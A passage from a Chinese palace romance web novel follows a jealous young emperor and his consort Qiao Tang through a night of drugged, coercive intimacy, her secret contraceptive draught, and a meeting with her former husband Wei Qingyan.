鲜血涌出来,沾满唇瓣,她吮了一口,讨厌地顰起黛眉,松开那流血手掌,腰肢难耐地摆了摆,绮丽容色浮出痛苦。 可无人帮她。 自始至终,裴承珏都无声无息地垂眸看着,面上不带旖念,眉峰也不动一下。 空中浮起的血腥味动摇不了他,乔棠的痛苦哀求也动摇不了他。 须臾,在这一场靡艳对峙中,乔棠败下阵来,潜意识里寻求生机,柔软地缠向裴承珏,无助地屈服泣道,“温、温璟,帮我。” 本是微弱之声,非极力去听,实难听到。 可在这寂然帐中,堪比春日惊雷,乍破天际,滚滚而落。 裴承珏听得好生清晰。 但比他先有反应的是乔棠,她轻轻吻上裴承珏的眉心,唇瓣向下移动,再吻那浓密长睫,动作珍视,带着讨好。 慢慢地,裴承珏呵得一声,笑出来。 他猛地阖上双眸,拒绝了乔棠亲吻眼睛,接着腮边青筋一鼓,骤然伸出滴血手掌,一掌闷住近在咫尺的媚颜。 乔棠呼吸被堵,面颊染血,唯一双眸子迷茫地流下眼泪,和掌心鲜血混在一起。 裴承珏看不见,也不想看,额角跳动的青筋根根清晰,咬牙道,“看清楚,朕是那个死人么!” 乔棠呜咽摇头,在他掌下如脱水的鱼儿奋力挣扎。 眼见呼吸渐弱,内心深处蓦地生出一股求生力量,促使着她扒开手掌,哭道,“裴、裴承珏救救我!” 手掌倏地松了! 裴承珏双眸霍地一睁,但见乔棠摔落锦被,红唇张合,好生可怜,“裴承珏……” 裴承珏眸色一震,心脏骤疼,一瞬俯身抱住乔棠,喉咙艰涩,“姐姐早该喊朕!” “是朕不好,朕这就救姐姐。”他的手抚向乔棠腰肢,流下一道道血痕。 乔棠很快坠入快乐中。 慢慢地,时间到了卯时,帐中安静下来,裴承珏掀开纱帐,披衣下床。 他不顾脚伤,步出寝殿,转去正殿一间寝室,才允许宫人走动,为他穿上朝会衮服,红色交领中单遮住脖后咬痕。 但及至上朝时间,他竟未动,只立在镜前,镜前映出一双黑沉眸子,“叫检校的程肃过来见朕。” 宫人掩下恐惧,速速去了,程肃来得很快,一身黑衣凝着沉郁杀气,宫人骇得垂颈屏气。 程肃进得房后,杀气已无影无踪,屈膝伏地,“臣恭候圣命。” 裴承珏恍若未闻,抬步离镜子更近,手指抚向眉心,接着狠狠一摁! 疼痛袭来,也消不掉乔棠喊温璟后那眉心一吻,轻如鸿毛的触觉如利刃钻入心肺,啃咬他的五脏六腑。 脑中乍然响起一声,“陛下得到的不是全部的惠贵妃。”更是叫他愤怒。 那个死人,那个死人! 他在躲不开的无边妒火中慢慢道,“你去冀州,给朕从坟里刨副棺材。” 程肃愕然瞠目,倏地一道目光射来,他跪地得更低了,听裴承珏言罢,额头紧磕地面,“是。”起身离去。 裴承珏移开镜中目光,垂下大袖,袖中手掌虎口血痂狼狈,他置之不理,出殿坐上銮驾,在微微发亮的天幕下去往奉天殿。 奉天殿肃穆寂然,群臣分列两侧,沉默低眉,等候第一次在朝会迟到的天子。 “陛下驾到——” 群臣跪地行礼中,裴承珏坐上龙椅,睥睨视线无情无绪地巡过阶下群臣。 群臣觉出异样,且不论今日天子竟迟到了,单看天子形容气度,与往日大为不同。 往日便是再威仪赫赫,也不曾有这般压迫气势,垂下视线似将群臣摁在地上,有种暴戾的破坏欲。 不过刚过十九岁,怎地突地变了个人般,群臣在惊惧中疑惑,起身后也只垂头揣度缘由。 然朝务仍要继续。 各部官员一一禀明手中待决政事,刑部尚书薛章出列也陈述一案,听得群臣暗暗皱眉。 却说兵部有个告老还乡的侍郎,回籍贯后为非作歹,以势欺人,谋害人命,被人告至京中刑部。 不想刑 部刚接了案子,又传来消息,那侍郎身染恶疾死了。 不过几日,刑部查明真相,确然是那侍郎作祸,害了几条人命,奈何那侍郎已死了,眼下正待结案。 这案子本也不难,若以惯例,凶手已死,这便可以结案,薛章偏在朝会提出来,想必不满此种结案手法。 有官员不满地瞥向薛章,这就是陛下手中最锋利的剑,有着最狠辣的手段,最无情的心肠。 在陛下首肯下设下开国立朝后最为严苛的律法,好在陛下也不全纵着他,一再规训他,这才不叫他将刑部弄成血狱。 眼下他还要改动结案做法,势必得到陛下训斥,群臣在寂然中等候陛下命令。 半晌后,高处传来一道轻笑,“死了?” 那笑声漫到阶下,群臣垂下头颅才敢变色,这是朝会正殿,陛下一贯做得端正持重,何故突地发笑? 那笑声直逼薛章,“薛卿,他死了便了事了?” 薛章垂首道,“臣以为不可了事。” “这便对了,人是死了,总还剩点其他东西,挖坟掘棺,挫骨扬灰,薛卿会么?” 直惊得群臣惶恐伏地,心中叫声连连,便是薛章也是愕然瞠目,此等言语怎会出自陛下之口? 奉天殿一片死寂。 乔棠直至天光大亮,方沉沉醒来,睁着一双泛红眸子,脑袋仍昏沉着,如何也忆不起昨夜境况。 但那种痛苦的折磨,最后的快乐,深深烙在她心底,叫她对裴承珏生出许多畏惧。 裴承珏先前分明不喜太后用酒逼迫他,昨夜竟主动喂了她酒,使她吃尽苦头,末了才怜惜她。 裴承珏待她越来越坏了。 乔棠眨了眨发酸的眸子,起身去沐浴,清水洗不净满身的痕迹,她索性不管了。 穿衣梳妆时,蓦地思及一个问题,昨夜裴承珏进去了么?她怎么就不记得了呢! 若是进去了,会怀孕么? 这个念头一旦冒出来,她心抖手颤,她不能怀孕,正想喊人去叫程英开一副避子汤,又匆忙止音。 皇嗣事关重大,程英一介太医,且自己也没有裴承珏口谕,她怎敢擅动? 乔棠转念命人去慈宁宫喊来素兰姑姑,命素兰姑姑转告太后,太后必定不希望她怀孕。 果真,没过多久,素兰姑姑提着食盒过来,在宫人面前称这是太后娘娘特命御膳房为惠贵妃做的。 便是王嬷嬷听了,也没觉出不对,乔棠自己接过,提到寝殿外间,放置在窗下长案上,掀开食盒盖子,撇开第一层的膳食,从第二层端出一碗避子汤。 一股药味扑鼻而来,她顰起秀眉,一心只想快快饮下,听不到慢慢靠近的脚步声。 她忍着难受,低头饮了几口,再抬头时,忽有手掌从她耳边伸过来,夺了那药碗,放到案上。 “朕怎不知姐姐病了?” 第34章 声线莫测,情绪难辨。 单凭声音便知他越发难哄了。 乔棠意识到这点,慌得喉咙里尚存的药液都开始作祟,哽塞得她咳起来。 身后抚来手掌轻拍她的后背,也只缓解些许,她已咳得玉颊泛红,眼冒泪花,纤薄上身颤抖不已,脑子却在急速转动。 她实未料到,从不在这时回来的裴承珏会突然出现,且被他撞见了自己喝避子汤这一幕。 眼下最关键的便是将避子汤遮掩过去。 可是,不见裴承珏,她且能压下情绪,裴承珏一出现,昨夜被喂酒后的难捱滋味又涌上来,心头再添委屈,若是裴承珏想要她,直言便是,何必喂酒折磨她? 这般想着,她竟迷了心智,索性心道,他都待自己这般坏了,还有什么可遮掩的?便是被他知了,不过也是更快地厌弃自己罢了,倒遂了自己的意! 乔棠被这股情绪裹挟,也无心思哄他了,忍住咳声直起上身,也不转身,更无言语,重新端起那药碗。 正要一饮而尽,颈侧伸过来一掌,强硬地覆在她端碗的手上。 裴承珏声线发冷,“松手。” 不松,乔棠执拗着不动,却因他的冷声,红了眼眶,她眨了眨双眼。 一滴泪珠,啪嗒一声,落入碗中,与药液混在一起。 “执意要喝,还哭什么?” 裴承珏立于身后,身量巍巍,视线轻易地掠过她的发,看着那滴泪落在药碗中,也砸在他的心头上。 他也不是故意冷言相待的,只是一看见乔棠,他就想起昨夜,心中骤然升腾的妒火不受控制地烧得他脑仁霍霍地疼。 这滴泪在妒火中那么渺小。 很快,啪嗒一声,又一滴泪落了下来。 两滴泪而已。 妒火竟那样没出息地灭了,裴承珏招架不住了,眸色浮出不忍,心疼地伸出一只手,想要板过乔棠肩膀抱抱她。 乔棠还委屈着,如何都不肯转身,使了全身力气,故意抵抗他,握碗的手上也就松了劲儿。 裴承珏不愿再逼迫她,收了手掌。 两厢一下都没了力气,那药碗自手中脱落,砰一声惊响,从案上滚至地面,直碎了一地,药液也溅上两人衣饰。 周身一片狼藉。 裴承珏无奈揉了揉眉,呼了口气,双臂抱住乔棠将她转过身。 乔棠望着碎了的药碗,再也忍不住,垂下脑袋,根本不想看他,眼泪簌簌而落,如断线珠子。 裴承珏眸色一慌,伸手想托起她的面颊,被她直接拂开了,她吸了吸鼻子,“陛下一早去了朝会,自然不知臣妾病了。” 她慢慢抬起脸颊,两道泪痕我见犹怜,秀美容色却罕见地没什么表情,双眸亦泛出冷淡光泽。 “太后娘娘听闻送来补药,臣妾就想着喝了便不难受了,陛下何故要打碎了也不给臣妾喝?” 真假参半,颠倒黑白。 可是,她从未这样面对过裴承珏,没有温柔笑靥,没有含水春眸,更不会嫣然欲仙地望过来,让裴承珏情不自禁吻住那双嫣红唇瓣。 她在伤心,她在生气,她在抱怨,不是往日那种娇嗔微恼,是真的在声讨裴承珏对她太坏了。 裴承珏原该心疼她,认错的。 可他从不曾见过乔棠这副冷脸模样,更没见过眼前这双冷淡眸子,骤然惊得心口阵疼,姐姐怎能这样看他? 这种陌生的、疏离的、不带一点喜欢的眼神,他实在不喜,甚至厌恶,不觉眉峰骤拢,躲避地后退一步,声音泄出怒气,“惠贵妃!” 他本以为昨夜乔棠喊着那死人,已是最让他受不了的事了,却原来乔棠的冷脸,乔棠的眼神,也叫他招架不住。 可昨夜他发怒,乔棠因意识不清,根本不知,眼下他发怒,乔棠瞧得清晰,一瞬咬紧唇瓣,紧紧闭上眸子,又是惧怕,又是伤心,屈膝就要认罪。 偏地上还有药碗碎片,她瞧不见,裴承珏瞧见了,面色倏地一变,在她膝盖落地时,当即伸腿过去。 只听闷哼一声,乔棠一下跪在了他受伤的脚上,乔棠不由睁眼,见状迅速直起身子,一时什么都忘了,连忙看向裴承珏。 那双眸子那样担忧,和往日一样,再不是刚才那种冷淡疏离了。 仿佛适才不过是裴承珏看错了。 于是裴承珏再无怒意,只有满腔失而复得的欢喜,什么脚伤都置之度外了,俯身抱起她,将她好好地放在圈椅上。 他立在椅前,垂下高高的视线,将乔棠浑身抚了一遍,慢慢地,屈膝折服在乔棠身前,捉住乔棠衣袖贴向自己脸颊。 衣袖上药液蹭到了他的下颌,污了他的面容,他也不在意,低声道,“都是朕不好,朕认错。” 他被母后的话激怒了,想要试探姐姐心意,遂喂了姐姐酒,叫姐姐意识模糊时道出真言。 昨夜,他是恼怒姐姐喊了那死人名字,恼怒姐姐将他当那死人吻,可眼下一想,这都是那死人的错,和姐姐有什么关系? 何况,姐姐最后也喊了他的名字,足见姐姐心里有他的,是爱他的,他怎么心生妒火呢! 只要姐姐不再冷脸看他,不再用那种眼神看他,姐姐怎样都可以。 不是全部的爱也可以。 他侧过脸颊,吻了 吻乔棠手指,眸子却直勾勾盯着乔棠,一瞬也不移开,眼神幽深执着。 乔棠怔然,裴承珏待她坏,她觉着委屈,忍不住哭得厉害,裴承珏待她好了,她又惊恐起来。 盖因她不知裴承珏心间所想,只当裴承珏太过善变,适才分明是怒的,转瞬又温柔待她,眼神还透着丝丝疯意。 她难免想起裴承珏过生辰宴前,那时候他视线坦荡赤诚,会在烟火绽放时,吻着她发上的簪子说喜欢姐姐,眸中情感一见便知。 如今她再细细看向裴承珏的眸子,里面已覆着重重迷雾,深不见底,再窥不出裴承珏内心所想。 这可怎么办? 她的心脏可以为了以前十八岁的裴承珏悸动。 可眼前已长了一岁的裴承珏,阴晴不定,待她时好时坏,那些悸动转瞬不见了,也许有些在意,可更多的是恐惧。 昨夜是那样的折磨,下一次裴承珏待她坏了,会怎么样? 她心惊胆战,忍不住想逃离,一下从裴承珏手中抽出衣袖,垂下视线,不再看裴承珏了。 裴承珏掌中空空,也得不来她的眼神,眼神骤变,只想揽她入怀,寻求抚慰。 手臂刚揽住乔棠腰肢,察觉柔软腰肢一颤,瑟缩着往后缩,一下探身靠近,“姐姐还在气朕?” 第35章 薄唇欲要吻上乔棠面颊,乔棠仓促一躲,薄唇吻了个空,失望地徐徐撤开。 “姐姐已宽宥过朕一次,自不可宽宥朕第二次,朕给姐姐的软鞭在何处?姐姐尽可拿来用。” 裴承珏屈膝矮在她身前,抬袖解衣,褪下上身衣物,露出宽肩窄腰。 但见肩背肌肉如覆凝脂,内藏精钢劲骨,臂膀肌理分明,竟似铁铸一般,不见半分虚肉。 这具比成年男子还挺拔的躯体,突然坦露在乔棠目光下,极具压迫地将她困在座椅之中,堵住了她要逃走的动作。 明晃晃日光下,她看得多么清晰,不过一眼就玉颊泛粉,匆匆别过视线。 她哪里会真拿鞭子打裴承珏,搪塞道,“臣妾已不生气了,无须动用软鞭,请陛下穿好衣服。” 裴承珏不动,静静地望着她,两人目光平视,她很快读懂了裴承珏的渴求与期待。 她迟疑着,见裴承珏并不罢休,无奈朝裴承珏倾身,唇瓣落在他的眉心上,轻如鸿羽,停顿须臾撤开了。 这一吻,比之昨夜那吻,停留时间长,触觉更轻柔。 就这样消弭了裴承珏对昨夜那吻的痛恨。 裴承笑起来,“谢谢姐姐。” 双臂满足地搂过乔棠腰肢,面容蹭过她的下颌,眷恋地拥着她。 乔棠抬起的袖子迟疑落下,终究没有回抱过去,目光瞥过地面上的碎碗,顰眉忧心。 “昨夜臣妾和陛下……” 她侧过面颊,唇触到裴承珏耳朵,裴承珏克制地没有回吻,“是朕情急伤了姐姐。” 裴承珏害怕她嫌自己妒心重,不想叫她知晓昨夜缘由,只解释道,“朕喂了姐姐解药,还有——” 他低声道了句,听得乔棠身子微颤,玉颊泛红,随即心中一松,秀眉舒展,还好不会怀孕。 但既已说了身子不适,也拒绝不了裴承珏召太医的要求,由着太医瞧了,熬了碗药。 她忍着难受喝罢,转瞬被裴承珏吻住,裴承珏渡了口糖水给她,她被迫咽下,缓解口中苦味。 裴承珏托着她的后颈不松。 渐渐地,她察觉出了不对,裴承珏的吻没了以往的莽撞急促,更小心,更绵柔。 原来,比起急切的掠夺,他已懂得了克制呵护,将内心汹涌澎湃的情潮埋在绵柔之下。 乔棠心起波澜,自嘲一笑。 刚进宫时,她与太后都笃定裴承珏对她不过一时兴起,她遂敢蓄意亲近,哄骗裴承珏品尝情爱滋味,只求裴承珏及早厌弃她,她好出宫去。 如今看来,她竟是作茧自缚,被困在裴承珏绵密深沉的情意里,正试图竭力挣开,也不知年后是否真能顺利出宫。 乔棠心下一乱,忽地唇上一痛,眸子睁开,发现裴承珏即便不悦,但恐自己不喜,也不能生气,低声问,“姐姐在想什么?” 她心念一转,想再提择妃一事,试探道,“陛下可有和其他姑娘这样过?” 若搁以往,裴承珏必定认为她在吃醋,眼下却心生狐疑,一双含笑眸子转瞬成深渊寒星,直勾勾地锁住乔棠。 “姐姐这是吃醋,还是想叫朕去亲其他姑娘?” 不知怎地,这话一落,他猝地想起几件小事,春日时赏花宴上出现的许多姑娘,行宫里要为他抚琴的顾玉清…… 都是姐姐要求的,都是姐姐带到他跟前的,像是有意吸引他的注意力,似将他让出去一样。 裴承珏面色一沉。 乔棠心惊肉跳,预感不妙,适才温柔的裴承珏已不见了,眼前这个要待她很坏了。 昨夜被折磨的痛苦浮上心头,她已吃了苦头,不想再吃了,心急之下扑到裴承珏怀里,扬颈就吻上了裴承珏的唇。 裴承珏由着她吻,坚硬发凉的心腔起热发暖,不打紧,先前种种便算了,无须介意,只要姐姐心里有他,姐姐高兴便好。 窗外,飞雪簌簌,不见停止。 翌日,飞雪仍在,天地间白茫茫一片,乔棠不愿出宫,以身子不适不去勤政殿。 避了裴承珏几日,雪也停了,她也将最后一副画像画完了,裴承珏见了画像,凝视许久,才命宫人好生放置。 乔棠见他步履生风,意气飞扬,心知他脚伤已好了,被他抱起来时也没了顾及,由他拥着自己出了太极宫。 “镇国公回京了,在勤政殿等朕,姐姐也去见见。” 乔棠了然,“原来是舅舅回来了,难怪陛下这般欢喜。” 裴承珏打趣回去,“姐姐这声舅舅,叫得真好听。” “是陛下的舅舅。” 论起打趣,乔棠说不过裴承珏,强行呛了一声,裴承珏朗声一笑,“行罢,就让姐姐占些嘴上便宜。” 眼见他要故技重施,俯身来亲乔棠唇角,乔棠后退一步避开,抬眸望向他。 但见他俊朗面容线条分明,眉眼带笑地回望过来,仿佛前阵子那个阴晴不定的裴承珏从未出现过。 他还是春夏时那个英气恣意的少年,曾让乔棠心脏悸动数次。 原来也不过隔了一个秋冬,乔棠的悸动就已被恐惧惊散了。 乔棠眨了眨酸涩的眼,不容自己再想下去,转身欲走,忽听簌簌声响起,原来枝头积雪落下来了。 纷纷扬扬,还未落到乔棠发上,已被裴承珏扬袖挡了,唯有一片落至乔棠发簪上。 裴承珏心念一动,低首轻轻用唇衔了去,静静地含进口中,看着乔棠咽了下去。 即便乔棠浑然不知,一眼也未看过来,他还是独自欢喜地品尝那片沾过乔棠气息的雪瓣。 “陛下?” 乔棠回首,疑惑催促,他笑着应了一声,与乔棠并肩而去。 及至勤政殿,便有一个五十岁出头的武将望来,但见他面皮紫里透红,双目炯炯如电,虽鬓角染些霜白,身板硬挺有力。 “舅舅无须多礼。” 裴承珏一把扶起向他行礼下跪的镇国公,侧首望向乔棠,话却是对镇国公说的,“舅舅,这便是朕的惠贵妃。” 乔棠顿觉一道锐利视线射来,望向镇国公时,镇国公已要低头行礼,“老臣见过贵妃娘娘。” 乔棠忙道,“镇国公……” “要叫舅舅。”裴承珏截断她的话,笑着望过来,她只好改口,“舅舅不必多礼。” 镇国公眸光一闪,由宫人侍奉着落座了,乔棠与裴承珏坐在御桌后,听两人谈及政事。 政事过了,便是些闲聊,乔棠暗暗瞥了几眼镇国公,又觉魏清砚眉眼也像镇国公,大抵到了五十六岁,也是镇国公这般模样。 她兀自想着,忽听镇国公道,“先帝驾崩前,曾有遗命予老臣,命老臣督促陛下。” 裴承珏笑了一声,乔棠侧目,他眉目舒展,英朗自信,“朕自即位以来,可有哪里做得不好?” 他是真正做到了先帝与辅臣所要求的一切,才这般反问镇国公。 不想镇国公也笑起来,“陛下至今后位空虚,不 重皇嗣,老臣可有说错?” 乔棠恍然大悟,这位约莫是太后娘娘说动,特来劝裴承珏择妃立后的。 乔棠能看的出来,裴承珏对长辈,襄王也好,镇国公也好,都是敬重亲近,礼遇有加。 若是裴承珏看在长辈的面上,愿意听进去,乔棠一时心跳急促,只觉出宫近在眼前。 忽地手掌被裴承珏温热掌心裹住,她听到裴承珏郑重解释道,“舅舅不必着急,待到明年秋,朕一及冠,便与惠贵妃大婚,到时皇后皇嗣也就都有了。” 他一腔坦诚,对镇国公这个长辈,对乔棠这个身边人,绝无欺瞒戏弄之意。 一时,殿里一静,镇国公迟迟不开口,乔棠若有所思地瞥去一眼,正对上他沉沉视线,心中一凛。 镇国公还要言语,裴承珏忽道,“舅舅无须多虑朕的婚事,朕与惠贵妃一贯好好的,倒是魏卿,既已和夫人和离了,舅舅也该为他多考虑。” 他有意再提魏清砚与静仪郡主的婚事,镇国公一听当即打着哈哈避了过去,又坐了一会儿,便起身告退了。 乔棠只觉他像是逃走的,难不成他和国公夫人一样,不同意魏清砚和静仪郡主的婚事? “魏卿和裴静仪就这般不合适?” 裴承珏哪里看不出来镇国公在躲避此事,他百思不得其解,看向乔棠,指望乔棠给他个答案。 乔棠思付道,“魏编修性子太冷,不宜和静仪郡主成亲。” 裴承珏只一句话,“裴静仪钟意魏卿。” 万般理由也抵不过这句,再多逃避推脱,都抵不过裴承珏决心一定,他要给静仪郡主赐婚。 乔棠也不再多言,只在心里琢磨,她也有一阵子没见魏清砚与静仪郡主了,不清楚这两人眼下情况,不若明日去文华殿看看。 忽听裴承珏道,“以朕看来,姐姐你们都没看全魏卿,魏卿性子是冷,朕先前也以为他无趣得很。” “但朕看魏卿教姐姐弹琴,轻言细语,温和非常,也极有耐心,焉知他以后不这样对裴静仪?” 他自认句句在理,乔棠却听得心口紧缩,生恐他觉出不对,随口道,“陛下不若再问问静仪郡主的意见?” “不若姐姐问。” 乔棠来问,确然更合适,她遂点头应下来,心口仍不安着,便是夜间就寝,也是睡得不安稳。 夜半时分,她猛地从噩梦中惊醒,额角细汗密布,又见身侧空荡荡的,疑惑不已,慢慢起身,披衣下床。 太极宫正殿,灯烛煌煌,裴承珏披衣立着,黑发散在颈肩。 一片死寂中,宫人垂颈伏在地上,冷汗浸湿了厚重冬衣,正往外渗出水痕。 被裴承珏派去冀州的程肃叫手下带了密函回京复命,那手下自将密函呈给裴承珏,就一直跪着,素日再硬的骨头也骇得软了。 眼下已过了半个时辰了。 无人知晓那密函写了什么,只知陛下看过后,就着烛火烧了那密函,再没发出声音。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 35-40 第36章 这厢乔棠在寝殿不见裴承珏,见还未到上朝时刻,不免疑惑,步出来询问值夜宫人。 值夜宫人道,“约子时一刻,检校的人在正殿求见陛下,陛下遂去了正殿。” 乔棠对检校有所耳闻,里面都是些行事狠辣手段无情的密探,和刑部的薛章并在一起,一贯被朝臣痛恨。 检校深夜求见,应是有什么要紧事,乔棠微一思付,不知怎么地,噩梦残存的心悸重新浮动。 心脏一阵发闷,她用指腹摁了摁跳动不停的眼皮,再也睡不着了,索性在窗下坐着等裴承珏。 直坐到卯时,已是上朝时刻,仍不见裴承珏归来,心中不安更甚,径自换衣出了寝殿。 甫一出来,天还未亮,冷风入骨,刺得她身子轻颤,疾步往正殿而去。 冷月洒下碎辉,灯笼被风晃出光影,一并照亮了她疾行的身影。 忽闻有脚步声传来,她料想是裴承珏回来了,一时驻足,立在梁柱处,定睛望向走廊尽头。 灯火残影下,果见裴承珏缓步而来,巍巍身躯披着黑金大袍,冷风灌进袍角,发出扑簌声。 他浑然不觉,径自前行,从来规整的中单衣领凌乱敞开,未束的黑发恣意散落颈旁,是从未出现过的随性放纵模样。 偏偏一张俊美面皮无情无绪,挺直鼻梁下薄唇绷紧,一双寒潭深眸泛着阴鸷,高垂而下的视线掠向前路,触及梁柱旁的乔棠时,步子骤然一顿。 乔棠惊愕不已,到底朝中出了什么事,让裴承珏失了天子的端方威仪,露出这般情态? 她尚未多思量,见裴承珏迟迟不动,提裙小跑过去,及至裴承珏跟前,扬颈问,“臣妾听闻检校的人来了,可是朝中出了什么要紧事?” 月光碎辉散落眸中,盈出一片清澈,不含半分作伪,面颊被冷风一吹,玉白掺着点粉红,似莲瓣娇妍,美得叫裴承珏心折。 裴承珏看了半晌,视线移向昏沉天幕,喉结滚动,许久不出声的嗓子暗哑难听,“是出了要紧事。” “严重么?” 裴承珏眸光震颤,视线忍不住移回来,还是落在了他当初见了一眼便钟情的面容上,“很严重。” 乔棠咬紧唇瓣,眸光闪烁,望着他不出声了,宛若在担忧,那可怎么办? “但朕会解决好。” 裴承珏蓦地扯开薄唇,缓缓扯开一个意味不明的笑,抬袖抚了抚她的发,指腹残存的纸灰沾了上去。 裴承珏面色一沉,俯身替她将纸灰吹干净,换了一只手臂,搂起她的腰肢,单臂就将她抱了起来,“惠贵妃去睡觉。” 乔棠只觉他的怀抱很冷,冷得叫她打颤,没注意他称呼上的异常,只当他受了冷风所致。 及至寝殿,裴承珏将她放下来,目送她进了寝殿,自己由宫人侍奉着换上天子朝服,往奉天殿而去。 奉天殿里群臣终于候来了裴承珏,数张面容含着不解担忧,天子又迟到了。 已是这阵子的第二次了,裴承珏以前从来不会如此,偶尔甚至比朝臣来得更早,而且—— 朝臣望着裴承珏,包括位列最前方的内阁辅臣、刚回京的镇国公,心下涌出阵阵惊惧。 但见裴承珏端坐高处龙椅,天子朝服依旧,容色再无端方,只无情无绪,视线无声扫过阶下,并不言语。 他的沉默是另一种极致的威压,叫朝臣猜不出他是何情绪,朝臣局动弹不得,脑中乍然闪过一个认知,这位少年天子变了! 他再不是初登基的少年了,那时的他规矩地坐在龙椅上,双眸亮亮的,视线带着好奇,一一扫过阶下群臣,叫群臣心生爱护。 不过三年,甚至十九岁的生辰宴上,他还那么不知天高地厚,怀抱着最纯粹的心思,那么直白地向他们坦诚自己对惠贵妃的情意。 那夜他们多么震惊,心叹陛下还是年少,却也为陛下一片赤诚真心动容。 不过一阵,他便性情大变,阴晴不定,越发沉默,眸色显出暴戾,直叫朝臣忧惧。 可今天下太平,朝务安稳,不足以叫陛下忧心至此,那到底为什么? 朝会罢了,裴承珏下阶而去,步子缓慢,内阁辅臣视线隐晦扫过镇国公,镇国公眼风一动,跟在了裴承珏身后。 裴承珏并不回头,“舅舅有事?” 镇国公扫过他的步子,忧心道,“听闻陛下脚伤已好了,但还需注意,不若再召太医看看?” 裴承珏不置可否。 镇国公遂命宫人召太医,待两人回了勤政殿,太医也到了,查看裴承珏脚伤,低首道,“陛下脚伤已然好了。” 镇国公疑惑,适才裴承珏走路,分明受脚伤影响,他道,“可瞧清了?” 太医迟疑道,“陛下可觉脚踝疼?” 裴承珏坐在扶手椅上,一双眸子沉沉望来,“退下。” 太医惶惶退下,镇国公还要言语,裴承珏望来一眼,眼神泛出冷意,“舅舅若无事,就回府歇息。” 镇国公向来被他敬重亲近,从未受过他这种眼神,一时骇住,当即行礼告退。 他离了殿门,拾阶而下,炯炯有神的双眸显出迷茫,不过片刻,迷茫变为惊惧,步子一转,直奔慈宁宫。 太极宫这边,乔棠自起床便觉不对,宫人们今日过于安静了,行动间蹑手蹑脚,屏气凝神,似不用呼吸。 王嬷嬷也是安静许多,侍奉她洗漱后,低低言语,“昨夜必定是朝中发生了大事,叫陛下动了怒,现今殿里还有人跪着。” 乔棠闻言去了正殿,但见昨夜跪着的宫人还未起身,冷汗浸湿透冬衣,淋湿了地面,那程肃的手下已不见了,只留下一滩血迹。 乔棠乍然见血,心中甚惊,见宫人面如纸糊,命他们起身,又叫人清扫血迹,视线忧心望向殿外的天幕,朝中到底出了什么事,叫裴承珏如此动怒? 乔棠不安地用过早膳,静仪郡主派人来请她去文华殿,她思及昨日与裴承珏商量好的,由她来问一问静仪郡主,遂出了太极宫。 不想行走一段路,静仪郡主从对面过来了,见了她就要行礼,被她一把扶起。 两人立在一起私语,乔棠也不欲遮掩,与她直言,“陛下已知你郡主中意魏编修一事,欲要赐婚郡主与魏编修,郡主以为如何?” 静仪郡主先是一喜,羞得面颊通红,后眸光一暗,紧张地抿唇,迟疑片刻,还是道了出来,“魏编修与我讲书这阵子,似乎从未看过我。” 乔棠秀眉一顰,这两人这阵子真无一丝进展,见静仪郡主愁得都快咬破唇角了,安抚地摸了摸她的脑袋,“不妨郡主当面问问他,也好一直拖下去。” 静仪郡主张了张口,这要怎么问?可是不问,她就得这样一直揪心地等下去,她也不愿,索性一咬牙同意了,“惠姐姐同我一起去。” 乔棠应下,两人一起到了文华殿,静仪郡主命宫人远远地立着,空出一殿的寂静,牵着乔棠的手进去了。 魏清砚已到了,穿着惯常的青色官袍,手中持着书卷,立在阶上长案旁,闻声抬眸,冰冷面色依旧,“臣见过……” 习惯性的行礼在目光触及乔棠时一顿,很快又恢复冷淡,“见过贵妃娘娘,见过郡主。” “魏编修不必多礼。”乔棠示意他直起身子,将静仪郡主往前推了推,“郡主听魏编修讲了一阵书,内心甚为倾佩。” 一手轻轻地拍了拍静仪郡主的肩头,示意静仪郡主可以开口了,静仪郡主却垂下颈子,耳根通红,手中紧张地揪紧了帕子。 魏清砚似是明白接下来会发生什么,浑然不在意,目光瞥向乔棠。 他已有一阵子没见乔棠了,一时眸中情思激荡,所幸顾着场合,及时移开视线了。 乔棠毫无察觉,低首道,“静仪郡主无须害怕,尽管问出来吧。” 静仪郡主忽地抬起红透的面颊,“还请惠姐姐帮我问罢。”垂头跑了出去! 乔棠愕然,要抬步去追,奈何静仪郡主眨眼没了影儿,她不得不回身望向魏清砚,“静仪郡主性子温柔怕羞,本宫便代她问一问罢。” 魏清砚终于能光明正大正视她,轻轻摇头,“静仪郡主想问什么,臣一清二楚,还请贵妃娘娘不要开这个口。” 乔棠一时呆住。 殿外日光轻暖,融了冬雪,宫檐滴下雪水,嘀嗒嘀嗒落下来。 但见阶下的魏清砚,也如融化的冬雪,浑身冰冷消失,唇边绽放出一抹浅笑,与在冀州时冲乔棠一笑时一模一样。 “臣无意于静仪郡主,便是如了静仪郡主的意,也会伤了静仪郡主,还请娘娘帮臣在陛下面前陈明缘由,不要委屈了静仪郡主。” 乔棠张了张口,声音哽在喉咙里,听他轻叹一声,再没有了冷淡,嗓音柔和,“臣心中只有发妻,此生绝不另娶。” 唇边笑意不减,始终对着乔棠,过了好一会儿,微笑还没消失。 这在往年,是乔棠一直所求的一幕。 那时,她便是去寺庙烧香,也是对着菩萨求魏清砚一个微笑。 魏清砚总是让她失望,夫妻三年,他微笑的时间恐怕还没有此刻长。 可笑,这算什么,乔棠心头涌出一阵荒谬,一时失态,抬袖捡起长案上的书砸了过去! 一本接着一本,指望书卷能叫魏清砚恢复那冷淡模样,叫那微笑在她眼前消失! 隔着一张长案,魏清砚堪堪受了,笑道,“娘娘尽管撒气就是。” 长案书籍尽数砸了过去,两人没了书籍遮挡,彼此看得清晰。 夫妻三年,那么熟悉的面容,即便过了一年多,也并无多少变化。 乔棠已不再去想,为什么冀州三年他那么冷淡,为什么那时从不肯温柔待她。 而到了眼下境地,两人宛若隔了一条天堑,他突然变了,愿意给予当时她渴求的东西。 迟迟而来,不合时宜。 而她已经不会为这些东西悸动了,狠狠地瞪向魏清砚,企图叫他知晓自己身份,正常些。 魏清砚却笑了起来,“娘娘瞪人的模样,还是和以前一样。” 他想起国公夫人那一巴掌,他不是因为那个巴掌才幡然悔悟,才察觉自己对棠棠不好,是那个巴掌叫他知晓,有些话该及时说才对。 尽管不合时宜,也该及时说才对。 他遂慢慢道,“臣向来没有大志向,自幼被逼着读书,读得再好也未想过科举中状元。” “妻子知晓臣的难处,从未要求臣上进,去考什么状元,臣想着就这样和妻子一直过下去。” “后来,臣以为妻子厌弃了臣,才和臣和离,臣也不知挽留,以至于铸成大错。” 魏清砚想起乔棠执意要和自己和离时那双执拗眸子,他拧不过乔棠,同意了。 